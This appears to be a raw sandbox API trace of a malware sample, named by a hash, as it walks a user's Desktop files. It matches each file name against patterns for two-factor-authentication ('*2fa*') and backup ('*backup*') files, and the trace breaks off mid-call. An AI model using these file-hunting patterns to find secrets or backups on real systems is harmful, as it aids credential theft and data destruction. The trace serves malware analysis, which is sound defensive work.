WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x211ae10, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", lpUsedDefaultChar=0x0) returned 40 [0099.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.641] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*2fa*.*") returned 0 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", lpUsedDefaultChar=0x0) returned 43 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113000, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.641] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*2fa*.*") returned 0 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", lpUsedDefaultChar=0x0) returned 45 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113018, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.641] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*2fa*.*") returned 0 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x33aaba0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", lpUsedDefaultChar=0x0) returned 55 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113120, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.641] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.642] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*2fa*.*") returned 0 [0099.642] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112bb8 | out: hHeap=0x2110000) returned 1 [0099.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0099.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x33aae60, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", lpUsedDefaultChar=0x0) returned 53 [0099.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.643] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.643] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*2fa*.*") returned 0 [0099.643] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d68 | out: hHeap=0x2110000) returned 1 [0099.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x33aae20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", lpUsedDefaultChar=0x0) returned 54 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113138, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.644] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*2fa*.*") returned 0 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x33aab60, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", lpUsedDefaultChar=0x0) returned 56 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113048, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.644] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*2fa*.*") returned 0 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ed0 | out: hHeap=0x2110000) returned 1 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", lpUsedDefaultChar=0x0) returned 45 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130d8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.644] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*2fa*.*") returned 0 [0099.644] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", lpUsedDefaultChar=0x0) returned 48 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130c0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.645] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*2fa*.*") returned 0 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", lpUsedDefaultChar=0x0) returned 47 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.645] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*2fa*.*") returned 0 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", lpUsedDefaultChar=0x0) returned 41 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113108, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.645] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*2fa*.*") returned 0 [0099.645] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0099.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x33aab60, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", lpUsedDefaultChar=0x0) returned 51 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x21130a8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.646] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.646] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*2fa*.*") returned 0 [0099.646] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0099.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", lpUsedDefaultChar=0x0) returned 46 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113108, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.646] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.646] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*2fa*.*") returned 0 [0099.646] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.646] GetLastError () returned 0x12 [0099.646] SetLastError (dwErrCode=0x12) [0099.646] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0099.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x2112ed0, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0099.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430f00, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.648] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*backup*.*") returned 0 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211acc0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ba0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.648] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*backup*.*") returned 0 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21111c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430da0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.648] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*backup*.*") returned 0 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.648] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111230 | out: hHeap=0x2110000) returned 1 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x33aae20, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e40, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.649] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*backup*.*") returned 0 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, 